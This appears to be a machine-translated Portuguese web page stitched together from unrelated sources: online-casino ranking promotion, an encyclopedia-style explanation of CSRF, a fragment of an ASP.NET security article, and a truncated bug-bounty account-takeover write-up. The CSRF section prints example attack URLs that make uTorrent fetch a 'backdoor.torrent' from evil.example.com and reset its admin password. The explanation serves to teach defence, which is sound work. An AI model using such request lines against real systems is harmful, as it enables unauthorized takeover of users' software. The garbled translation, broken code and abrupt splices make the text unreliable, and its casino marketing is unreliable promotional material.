Qual é o valor csrf. O que é CSRF? O significado do termo CSRF

Encontrar cassinos online confiáveis ​​e honestos leva muito tempo livre, especialmente quando se trata de novatos. É necessário avaliar a transparência do clube de jogo, sua reputação na rede, avaliações de outros usuários, a velocidade dos pagamentos e muitos outros fatores de atividade. Para salvar os jogadores deste destino, compilamos classificação do cassino , que foram exaustivamente testados e confirmaram sua própria honestidade e bom retorno nas máquinas caça-níqueis.

Nossa classificação dos melhores cassinos

Você não precisa mais perder tempo verificando a confiabilidade da instituição. Analistas experientes de jogos de azar que passam dezenas de horas em cassinos todos os meses fizeram sua própria avaliação objetiva do trabalho dos clubes de jogos de azar. Eles analisaram centenas de estabelecimentos para, em última análise, oferecer aos usuários as melhores plataformas da Internet.

A lista inicial de clubes era bastante grande, mas durante a análise, estabelecimentos duvidosos e pouco confiáveis ​​desapareceram. Por exemplo, a presença de uma licença falsa, a falta de certificados de slots, a substituição de um servidor em uma slot machine e muito mais servem de alerta aos especialistas. Mesmo um fator que permite que você duvide da honestidade do cassino é um motivo para exclusão da classificação.

Para além de uma análise superficial das plataformas de jogos de azar, são verificadas as informações sobre os estabelecimentos na Internet. Reputação online, avaliações de jogadores atuais e antigos, a presença de situações de conflito, escândalos com cassinos e formas de resolução de problemas por parte dos criadores são levados em consideração na análise. É dada atenção especial aos clubes jovens com experiência de trabalho de até 1 a 2 anos.

Como a classificação do cassino é compilada e quem chega lá?

Para criar classificação de cassinos licenciadosatraímos jogadores e analistas experientes com mais de 10 anos de experiência no setor. Graças ao seu conhecimento, eles podem facilmente eliminar clubes fraudulentos e, em seguida, realizar uma análise completa dos estabelecimentos restantes. O resultado é uma pequena lista de cassinos confiáveis ​​onde você pode jogar com segurança sem medo pela honestidade dos resultados e pagamentos.

  • a presença de uma licença do regulador de jogos de azar e da jurisdição escolhida para o registro;
  • segurança da plataforma, que garante a confidencialidade dos dados e informações de pagamento;
  • seleção de software licenciado de fornecedores confiáveis, em cujo trabalho é impossível interferir;
  • disponibilidade de uma versão em russo para maior comodidade dos usuários da Rússia e dos países da CEI;
  • serviço de apoio, incluindo o cronograma de seu trabalho, a rapidez das respostas, a qualidade da resolução de problemas;
  • saque de dinheiro sem atrasos ou verificações adicionais, bem como opções de recebimento de dinheiro e a velocidade de processamento das transações;
  • programas de bônus para usuários novos e regulares, presença de torneios, loterias, promoções periódicas;
  • sistemas de pagamento que afetam a conveniência dos clientes de reabastecer uma conta e retirar ganhos.

Esta é apenas uma pequena lista de requisitos relevantes que são avaliados por especialistas. Cada critério recebe seu próprio fator de importância que é levado em consideração na soma do resultado final.

O que é um cassino licenciado?

Avaliação do cassino , atestando a honestidade e transparência do trabalho das plataformas de jogos, podem consistir exclusivamente em estabelecimentos com licenças válidas para as atividades. Os clubes jurídicos são obrigados a passar por auditorias regulamentares e cumprir todos os regulamentos para obter a aprovação.

A simples menção de uma licença no site não é suficiente. Os especialistas entendem que os golpistas podem usar logotipos para enganar usuários ingênuos, portanto, eles analisam as informações de forma independente. Para tal, aceda ao site oficial do regulador e confirme as informações através do número do documento ou do nome da pessoa colectiva. Se não houver informações sobre a licença, é uma farsa.

Os analistas também usam a análise técnica para verificar o software licenciado. Usando ferramentas de desenvolvedor, eles obtêm acesso a informações sobre o servidor de transferência de dados. Se o casino usar o portal oficial do fornecedor do software, o software é justo e legal. Isso significa que você não pode interferir no trabalho dele e ajustar os resultados finais.

Como a justiça do cassino é determinada?

É muito difícil avaliar de forma independente a honestidade de um clube de jogo, que está associada à quantidade de recursos e conhecimentos disponíveis. Antes da inclusão de estabelecimentos emclassificação honesta do casino, os analistas realizam uma verificação completa de muitos fatores:

  • as regiões de onde os jogadores são retirados, uma vez que as jurisdições proibidas falam por si;
  • limites de saque, limitando transações únicas, bem como a quantidade diária, semanal e mensal de transações;
  • disponibilidade de informação sobre KYC e AML, que indique o cumprimento dos requisitos da legislação sobre a honestidade e legalidade da origem do dinheiro;
  • reputação confirmando a honestidade e confiabilidade do clube e a ausência de escândalos ou problemas de alto perfil;
  • a duração do trabalho, permitindo que você avalie completamente o histórico do recurso online, incluindo todas as vantagens e desvantagens;
  • a presença de um regulador e o cumprimento de suas regras, o que aumenta as chances de equidade de atuação.

A licença e o regulador são critérios muito importantes, mas isso não oferece 100% de garantia de honestidade. Apenas os clubes que permitiram aos jogadores obter grandes ganhos e jackpots, deram presentes para loterias e torneios, podem contar com esse título.

Variedades de caça-níqueis

A quantidade de caça-níqueis, máquinas e outros tipos de jogos de azar dizem muito sobre a instituição. Alguns clubes cooperam apenas com alguns fornecedores de software, mas recebem deles ofertas de jogos novos e populares, enquanto outros estão expandindo sua rede de acordos de parceria e convidando um grande número de marcas a cooperar. Quanto mais máquinas forem apresentadas na plataforma de jogos, mais fácil será para o cliente escolher o slot de sua preferência.

Mas classificação de cassinos licenciadosleva em consideração não apenas a variedade de jogos, mas também sua qualidade. Os estabelecimentos de jogos de azar confiáveis ​​usam software licenciado exclusivamente que foi testado quanto à honestidade e segurança. Essas máquinas permitem que você conte com um retorno de até 98%, não podendo interferir no seu trabalho e ajustar o algoritmo de geração de resultados.

Falando francamente, todos os sites visam obter lucro. Mesmo que um dos jogadores ganhe o jackpot, a longo prazo, a instituição continua no azul. Mas apenas os clubes honestos permitem aos usuários obter um grande jackpot e retirá-lo para uma conta real. Isso é o que distingue os cassinos online licenciados de projetos fraudulentos.

Política de bônus

Crie uma classificação de casino é impossível sem levar em consideração a política de bônus. Todos os clubes de jogos usam promoções e presentes para atrair novos e reter clientes existentes. Mas alguns dos estabelecimentos agem de forma bastante astuta, criando condições ocultas para apostas ou acréscimos, estabelecendo condições de apostas irrealistas na faixa de x60-100, que são quase impossíveis de cumprir.

O conjunto padrão de incentivos consiste nas seguintes categorias:

  1. Bônus sem depósito para receber novos clientes - creditado para confirmar o endereço de e-mail e número de telefone. Dinheiro grátis ou giros grátis em máquinas caça-níqueis com um requisito de aposta obrigatório são usados ​​como recompensa.
  2. Presente de registro - rodadas grátis ou multiplicadores da quantia de reposição da conta para 1-5 depósitos a partir do momento da criação de um perfil pessoal. O valor exato do bônus e limites máximos são definidos individualmente por cada clube.
  3. Programa de fidelidade - vários sistemas de status do usuário que afetam o tamanho do reembolso semanal, a disponibilidade de termos de serviço pessoais, presentes individuais, uma taxa de câmbio favorável de moeda local por dinheiro e muito mais.
  4. Os códigos promocionais são promoções periódicas de clubes de jogos de azar que distribuem certificados de presente para giros grátis, sem depósito ou multiplicador de conta para todos.

Casinos de língua russa

Fazendo as pazes classificação dos melhores casinos em 2020, a presença do idioma russo na plataforma é levada em consideração. A interface em russo permite aos usuários da Rússia, Bielo-Rússia, Ucrânia e países da CEI lidar com o registro, login, reposição de conta e outros recursos da plataforma sem problemas. Isso também confirma que a instituição está focada em usuários que falam russo, oferecendo a eles bônus e suporte exclusivos.

O trabalho do serviço de suporte é levado em consideração. A maioria dos clubes de jogo oferece assistência aos clientes exclusivamente em inglês, o que complica o processo de comunicação. Você precisa usar um tradutor ou entrar em contato com pessoas com conhecimento para redigir uma solicitação e entender a resposta de suporte. Portanto, a classificação inclui apenas os clubes online que aconselham os clientes em bate-papos de suporte e por telefone em russo.

A interface em russo do casino permite-lhe compreender facilmente as regras de utilização da plataforma, as ofertas de bónus de estudo e as características das suas acumulações, apostas, participação em torneios e lotarias sem quaisquer dúvidas sobre a correcção das ações.

Casinos de saque rápido

É dada especial atenção à velocidade dos pagamentos em casinos online. Alguns clubes oferecem saques para cartões bancários e carteiras eletrônicas em poucas horas e, para clientes VIP, eles processam as solicitações instantaneamente. Outros usam o processamento manual de aplicativos em dias úteis de acordo com uma programação especial, de modo que os pagamentos podem ser atrasados ​​em até 1-3 dias úteis a partir da data de inscrição. Para salvar os usuários de longos tempos de espera, criouclassificação de cassino com retirada rápida.

Consiste exclusivamente nas instituições que analisam prontamente todas as solicitações e não criam obstáculos para o recebimento de dinheiro. Não só a velocidade das transferências é levada em consideração, mas também a ausência de problemas ao solicitar grandes pagamentos ou transferências de dinheiro após ganhar um jackpot, um grande jackpot. Somente estabelecimentos honestos podem garantir pagamentos justos e sem problemas com os pagamentos.

Também analisa os sistemas de pagamento disponíveis para depósitos e pedidos de dinheiro. Os sites padrão oferecem suporte a um número mínimo de maneiras, mas os clubes progressistas analisam constantemente as tendências para integrar novas soluções técnicas.

Os principais sistemas de pagamento em casinos online:

  • cartões bancários MIR, MasterCard, Visa;
  • carteiras eletrônicas QIWI, Yandex, Webmoney, Neteller, Skrill e outros;
  • pagamentos móveis Beeline, MegaFon, MTS, TELE2;
  • Banco na Internet na Rússia;
  • criptomoedas populares, incluindo Bitcoin, Ethereum, Litecoin.

Serviço de suporte ao cliente

Um fator importante que foi levado em consideração para criarclassificação honesta do casino- disponibilidade de suporte ao cliente e a qualidade do seu trabalho. Estabelecimentos de confiança cuidam de sua própria base de clientes, por isso organizam linhas telefônicas especiais, bem como chats online para responder prontamente às dúvidas dos usuários e solucionar seus problemas.

Os analistas usaram linhas telefônicas, chats ao vivo e contatos de e-mail para analisar o suporte. Em diferentes momentos do dia, a equipe do local recebeu várias perguntas ou solicitações para lidar com problemas técnicos. Depois disso, a qualidade do seu trabalho foi avaliada, o que incluiu os seguintes fatores:

  • a velocidade de fornecer respostas;
  • se o consultor está resolvendo o problema e quanto tempo demorou;
  • alfabetização de respostas e a disponibilidade de funcionários que falam russo no suporte.

Se o cassino não tiver operadoras que falam russo, recomendamos usar um tradutor online do Google para traduzir as perguntas e respostas dos consultores.

conclusões

Antes de se cadastrar em um clube online, é necessário analisar a confiabilidade e transparência de seu trabalho, bem como verificar a reputação e as avaliações na rede. Em vez disso, sugerimos usarclassificação honesta do casinocompilado por jogadores experientes. Por experiência própria, rejeitaram dezenas de clubes de apostas suspeitos, deixando a lista dos melhores estabelecimentos de 2020 da lista.

Solicitação de falsificação entre sites também conhecido como ataque de um clique ou sessão de condução e abreviado CSRF(às vezes pronunciado furo da maré) ou XSRF, é um tipo de malware explorado de um site onde comandos não autorizados são enviados do usuário em quem o aplicativo da web confia. Existem muitas maneiras pelas quais um site malicioso pode transmitir esses comandos; Tags de imagem especialmente criadas, formulários ocultos e JavaScript XMLHttpRequests, por exemplo, podem funcionar sem interação do usuário ou mesmo conhecimento. Ao contrário do cross-site scripting (XSS), que usa a confiança que um usuário tem para um determinado site, o CSRF explora a confiança que um site tem no navegador do usuário.

história

As vulnerabilidades do CSRF são conhecidas e foram exploradas em alguns casos desde 2001. Como ele é transportado do endereço IP do usuário, alguns logs do site podem não ser à prova de CSRF. Explorações são subnotificadas, pelo menos publicamente, e em 2007 havia vários exemplos bem documentados:

  • O site da Netflix em 2006 tinha várias vulnerabilidades CSRF que podiam permitir que um invasor realizasse ações como adicionar um DVD à fila de aluguel da vítima, alterar o endereço de entrega em uma conta ou alterar as credenciais de login da vítima para comprometer completamente a conta.
  • O aplicativo da web de banco on-line ING Direct era vulnerável a ataques CSRF, que permitiam transferências ilegais de dinheiro.
  • O popular site de vídeos YouTube também estava vulnerável a CSRF em 2008, e isso permitia que qualquer invasor executasse praticamente todas as ações de qualquer usuário.
  • A McAfee também é vulnerável a CSRF, permitindo que invasores alterem o sistema da empresa.

Novos ataques a dispositivos da web foram realizados em 2018, incluindo tentativas de alterar as configurações de DNS dos roteadores. Vários fabricantes de roteadores lançaram rapidamente uma atualização de firmware para melhorar a segurança e aconselharam o usuário a alterar as configurações do roteador para reduzir o risco. Detalhes não foram divulgados, citando "razões óbvias de segurança".

Exemplo e características

Os invasores que podem encontrar um link reproduzível que executa uma ação específica na página de destino enquanto a vítima se registra podem incorporar esse link na página que controlam e enganar a vítima para abri-lo. O link da operadora do ataque pode ser colocado em um local que a vítima provavelmente visitará ao entrar no site de destino (como um fórum de discussão) ou enviado em um corpo de e-mail ou anexo em HTML. A verdadeira vulnerabilidade CSRF em Utorrent (CVE-2008-6586) explorou o fato de que seu console da web está disponível no host local: 8080 permitia que ações críticas fossem realizadas com uma simples solicitação GET:

Forçar download do arquivo .torrent http: // local: 8080 / GUI / action = add url & s = http: //evil.example.com/backdoor.torrent Alterar senha de administrador do Utorrent http: // local: 8080 / gui / action = setsetting & s = webui.password & v = eviladmin

Os ataques foram lançados com a publicação de elementos de imagem HTML automáticos e maliciosos em fóruns e e-mails de spam para que os navegadores que visitam essas páginas as abram automaticamente, sem muita ação do usuário. Pessoas que executam a versão vulnerável do Utorrent ao mesmo tempo que abrem essas páginas estão vulneráveis ​​ao ataque.

Ataques CSRF usando tags de imagem geralmente são feitos em fóruns online onde os usuários podem postar imagens, mas não JavaScript, por exemplo, usando BBCode:

Http: // localhost: 8080 / gui /? Action = add-url & s = http: //evil.example.com/backdoor.torrent

Ao acessar um link de ataque no aplicativo Utorrent local no localhost: 8080, o navegador também sempre enviará automaticamente quaisquer cookies existentes para esse domínio. Essa propriedade comum dos navegadores da web permite que ataques CSRF explorem suas vulnerabilidades direcionadas e executem ações hostis, desde que o usuário esteja conectado ao site de destino (neste exemplo, a interface da web Utorrent local) no momento do ataque.

A solicitação de falsificação de site cruzado é um ataque de proxy confuso contra um navegador da web.

CSRF normalmente tem as seguintes características:

  • Inclui sites que dependem da identidade do usuário.
  • Ele usa a confiança do site nesta identidade.
  • Ele engana o navegador do usuário para enviar solicitações HTTP ao site de destino.
  • Inclui solicitações HTTP que têm efeitos colaterais.

Verbos HTTP e CSRF

  • No HTTP GET, a exploração do CSRF é trivial usando as técnicas descritas acima, como um hiperlink simples contendo parâmetros manipulados e carregados automaticamente usando a tag IMG. De acordo com a especificação HTTP, entretanto, GET deve ser utilizado como um método seguro, ou seja, sem alterar significativamente o estado do usuário na aplicação. Os aplicativos que usam GET para tais operações devem mudar para HTTP POST ou usar proteção CSRF.
  • O HTTP POST tem vulnerabilidades diferentes para CSRF, dependendo dos cenários de uso detalhados:
    • Em sua forma mais simples, POST com dados codificados como uma string de consulta (campo1 = valor1 & campo2 = valor2) Os ataques CSRF são facilmente implementados usando um formulário HTML simples e medidas anti-CSRF devem ser aplicadas.
    • Se os dados forem enviados em qualquer outro formato (JSON, XML), o método padrão é emitir uma solicitação POST usando XMLHttpRequest com ataques CSRF evitados por SOP e; existe um método para enviar conteúdo arbitrário de um formulário HTML simples usando o atributo ENCTYPE; tal solicitação falsa pode ser distinguida das legítimas pelo tipo de conteúdo texto / simples, mas se não for executado no servidor, o CSRF pode ser executado
  • outros métodos HTTP (PUT, DELETE, etc.) só podem ser emitidos usando XMLHttpRequest com prevenção de SOP e CSRF; No entanto, essas medidas não estarão ativas em sites que as desativem explicitamente usando o cabeçalho Access-Control-Allow-Origin: *

Outras abordagens para CSRF

Além disso, embora seja normalmente descrito como um tipo de ataque estático, o CSRF também pode ser criado dinamicamente como parte da carga útil para cenários de ataque entre sites, conforme mostrado pelo worm Samy, ou criado em tempo real a partir de informações de sessão vazadas por meio de off- conteúdo do site e enviado ao destino como um URL malicioso. Os tokens CSRF também podem ser enviados por um cliente invasor devido à fixação da sessão ou outras vulnerabilidades, ou adivinhados por um ataque de força bruta traduzido em uma página maliciosa que gera milhares de solicitações com falha. A classe de ataque "Dynamic CSRF", ou usando a carga útil de cada cliente para uma sessão de spoofing específica, foi descrita em 2009 por Nathan Hamiel e Sean Moyer em briefings BlackHat, embora a taxonomia ainda deva ser aplicada de forma mais ampla.

Um novo vetor para a elaboração de ataques dinâmicos de CSRF foi apresentado por Oren Ofer na reunião local do Capítulo OWASP de janeiro de 2012 - "Martelo AJAX - CSRF Dinâmico".

Efeitos

Métricas de gravidade foram lançadas em vulnerabilidades CSRF que levam à execução remota de código com privilégios de superusuário, bem como uma vulnerabilidade que poderia comprometer um certificado raiz que prejudicaria completamente a infraestrutura de chave pública.

Restrições

Algumas coisas devem acontecer para que uma solicitação de spoofing entre sites seja bem-sucedida:

  1. O invasor deve ter como alvo um site que não valida o cabeçalho do referenciador ou a vítima usando um navegador, ou um plugin que permite falsificação do referenciador.
  2. O invasor deve encontrar um formulário de envio no site de destino ou um URL que tenha efeitos colaterais, fazendo algo (por exemplo, transferir dinheiro ou alterar o endereço de e-mail ou senha da vítima).
  3. O invasor deve determinar os valores corretos para todos os formulários ou entradas de URL; se algum deles for suposto ser valores de autenticação secretos ou identificadores que o invasor não será capaz de adivinhar, o ataque provavelmente não será capaz (a menos que o invasor tenha muita sorte em adivinhá-los).
  4. O invasor deve atrair a vítima para uma página da web com código malicioso enquanto a vítima se registra no site de destino.

O ataque é cego: o invasor não pode ver o que o site de destino está enviando de volta para a vítima em resposta a solicitações forjadas, a menos que esteja explorando scripts entre sites ou outro erro no site de destino. Além disso, um invasor só pode direcionar qualquer link ou enviar quaisquer formulários que venham após a solicitação inicial forjada, se os links ou formulários subsequentes forem igualmente previsíveis. (Vários destinos podem ser modelados incluindo várias imagens em uma página ou usando JavaScript para introduzir um atraso entre os cliques.)

Dadas essas limitações, um invasor pode ter dificuldade em encontrar o envio anônimo ou vulnerável da vítima. Por outro lado, as tentativas de ataque são facilmente montadas e invisíveis para as vítimas, e os desenvolvedores de aplicativos estão menos familiarizados e preparados para ataques de CS do que, digamos, para quebrar senhas de ataques de dicionário.

prevenção

A maioria das técnicas de prevenção de CSRF funcionam injetando dados de autenticação adicionais em solicitações, permitindo que o aplicativo da web detecte solicitações de locais não autorizados.

Modelo de marcador de sincronizador

  • Quando conectado, o aplicativo da web define um cookie contendo um token aleatório que permanece inalterado durante a sessão do usuário
Set-Cookie: Csrf-token = i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expira = quinta-feira, 23 de julho de 2015 10:25:33 GMT; Max-Age = 31449600; Caminho = /
  • O JavaScript é executado no lado do cliente, lê o valor e o copia no cabeçalho HTTP personalizado enviado com cada solicitação transacional
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • O servidor verifica a presença e integridade de tokens

A segurança desse método é baseada na suposição de que apenas o JavaScript em execução na mesma origem será capaz de ler o significado do cookie. JavaScript funciona com um arquivo invasor ou e-mail não será capaz de ler e copiar em um cabeçalho personalizado. Mesmo que o token CSRF biscoitos será enviado automaticamente da solicitação não autorizada, o servidor ainda esperará um token X-CSRF válido cabeçalho .

O próprio token CSRF deve ser exclusivo e imprevisível. Ele pode ser gerado aleatoriamente ou pode ser derivado de tokens de sessão usando HMAC:

Csrf_token = HMAC (session_token, application_secret)

O marcador de cookie CS não deve ter o sinalizador HTTPOnly, pois ele deve ser lido usando o design JavaScript.

Esta técnica é implementada por muitos frameworks modernos como Django e AngularJS. Como o token permanece constante durante a sessão do usuário, ele funciona bem com aplicativos AJAX, mas não fornece uma sequência de eventos em aplicativos da web.

A proteção fornecida por este método pode ser comprometida se o site de destino desconecta sua política de mesma origem usando um dos seguintes métodos:

  • Cabeçalho Permissive Access-Control-Allow-Origin (com asterisco de argumento)
  • arquivo clientaccesspolicy.xml que concede acesso não intencional ao controle do Silverlight
  • arquivo crossdomain.xml fornecendo acesso não intencional a filmes em flash

Cookie de envio duplo

Semelhante à abordagem cookie-para-cabeçalho, mas sem o JavaScript envolvido, o site pode definir o token CSRF como um cookie e também inseri-lo em um campo oculto em cada formulário HTML enviado pelo cliente. Quando o formulário é enviado, o site pode verificar se o marcador do cookie corresponde ao formato dos marcadores. A política de origem genérica impede que um invasor leia ou defina cookies no domínio de destino, portanto, eles não podem fornecer o token correto em sua forma gerada.

A vantagem desse método sobre o padrão de sincronização é que o token não precisa ser armazenado no servidor.

Garantias do cliente

Extensões de navegador como RequestPolicy (para Mozilla Firefox) ou Umatrix (para Firefox e Google Chrome / Chromium) podem evitar CSRF fornecendo uma política de negação padrão para solicitações entre sites. No entanto, isso pode interferir significativamente na operação normal de muitos sites. A extensão CsFire (também para Firefox) pode mitigar o impacto do CSRF com menos impacto na navegação regular, removendo informações de autenticação de solicitações entre sites.

ASP.NET MVC não é a pilha mais exagerada, mas bastante popular entre os desenvolvedores da web. Da perspectiva de um (anti) hacker, sua funcionalidade padrão oferece alguma segurança básica, mas é necessária proteção extra para proteger contra a grande maioria dos truques de hackers. Neste artigo, examinaremos os fundamentos que um desenvolvedor ASP.NET (seja Core, MVC, MVC Razor ou Web Forms) deve saber sobre segurança.

Vamos começar com todos os tipos de ataques conhecidos.

Injeção SQL

Curiosamente, mas em 2017, a injeção e, em particular, a injeção de SQL estão em primeiro lugar entre os "10 principais riscos de segurança OWASP" (Open Web Application Security Project). Este tipo de ataque implica que os dados inseridos pelo usuário são usados ​​no lado do servidor como parâmetros de consulta.

O exemplo da injeção SQL clássica é mais típico para aplicativos de Web Forms. Usar parâmetros como valores de consulta ajuda a proteger contra ataques:

String commandText = "UPDATE Users SET Status = 1 WHERE CustomerID = @ID;"; SqlCommand command = new SqlCommand (commandText, connectionString); command.Parameters ["@ ID"]. Value = customerID;

Se você estiver desenvolvendo um aplicativo MVC, o Entity Framework cobre algumas vulnerabilidades. Para obter uma injeção de SQL que funcione em um aplicativo MVC / EF, você precisa planejar. No entanto, isso é possível se você executar SQL usando ExecuteQuery ou chamar procedimentos armazenados mal escritos.

Embora o ORM evite injeção de SQL (com exceção dos exemplos acima), é recomendado que você restrinja os atributos aos valores que os campos do modelo e, portanto, a forma, podem assumir. Por exemplo, se for assumido que apenas texto pode ser inserido no campo, use Regex para especificar o intervalo ^ + $. E se os números devem ser inseridos no campo, indique isso como um requisito:

String pública Zip (get; set;)

Em Web Forms, você pode limitar os valores usando validadores. Exemplo:

Desde .NET 4.5 Web Forms usam validação discreta. Isso significa que você não precisa escrever nenhum código adicional para validar o valor do formulário.

A validação de dados, em particular, pode ajudar a proteger contra outra vulnerabilidade conhecida chamada cross-site scripting (XSS).

XSS

Um exemplo típico de XSS é adicionar um script a um comentário ou entrada de livro de visitas. Pode ser assim:

Como você entende, neste exemplo, os cookies do seu site são transmitidos como um parâmetro para algum recurso do hacker.

Em Web Forms, você pode cometer um erro com um código como este:

desculpa<%= username %>mas a senha esta errada

É claro que em vez de nome de usuário, pode haver um script. Para evitar a execução do script, você pode pelo menos usar outra expressão ASP.NET: que codifica seu conteúdo.

Se usarmos o Razor, as strings são codificadas automaticamente, o que minimiza a possibilidade de implementação de XSS - um hacker será capaz de retirá-lo apenas se você cometer um erro grosseiro, por exemplo, use @ Html.Raw (Model.username) ou use MvcHtmlString em vez de string em seu modelo.

Para proteção adicional contra XSS, os dados também são codificados em código C #. No NET Core, você pode usar os seguintes codificadores do namespace System.Text.Encodings.Web: HtmlEncoder, JavaScriptEncoder e UrlEncoder.

O exemplo a seguir retornará a string 6 7 8

Basicamente, quando a vítima carregou a página, ela fez uma solicitação ao script do Badoo, pegou o parâmetro rt para aquele usuário e então fez a solicitação em nome da vítima. Neste caso, estava vinculando a conta de Mahmoud à conta da vítima, o que permitiu uma tomada total da conta.

conclusões

Onde há fumaça, há fogo. Aqui Mahmoud notou que o parâmetro rt foi retornado em lugares diferentes, em respostas json específicas. Portanto, ele presumiu corretamente que poderia ser mostrado em algum lugar onde poderia ser usado, neste caso, em um arquivo js.

Resultados

Os ataques CSRF representam outro vetor perigoso de ataques e podem ser realizados sem ação ativa por parte da vítima ou mesmo sem sua notificação. Encontrar vulnerabilidades CSRF requer alguma engenhosidade e, novamente, disposição para testar tudo.

Normalmente, os formulários são defendidos por padrão com estruturas como Rails se o site faz uma solicitação POST, mas APIs podem

ser uma história separada. Por exemplo, o Shopify foi escrito principalmente com base na estrutura Ruby on Rails, que fornece proteção CSRF para todos os formulários por padrão (embora possa ser desativado). No entanto, está claro que esse não é necessariamente o caso das APIs criadas com essa estrutura. Finalmente, preste atenção às chamadas que alteram dados no servidor (como uma ação de exclusão) e são feitas usando uma solicitação GET.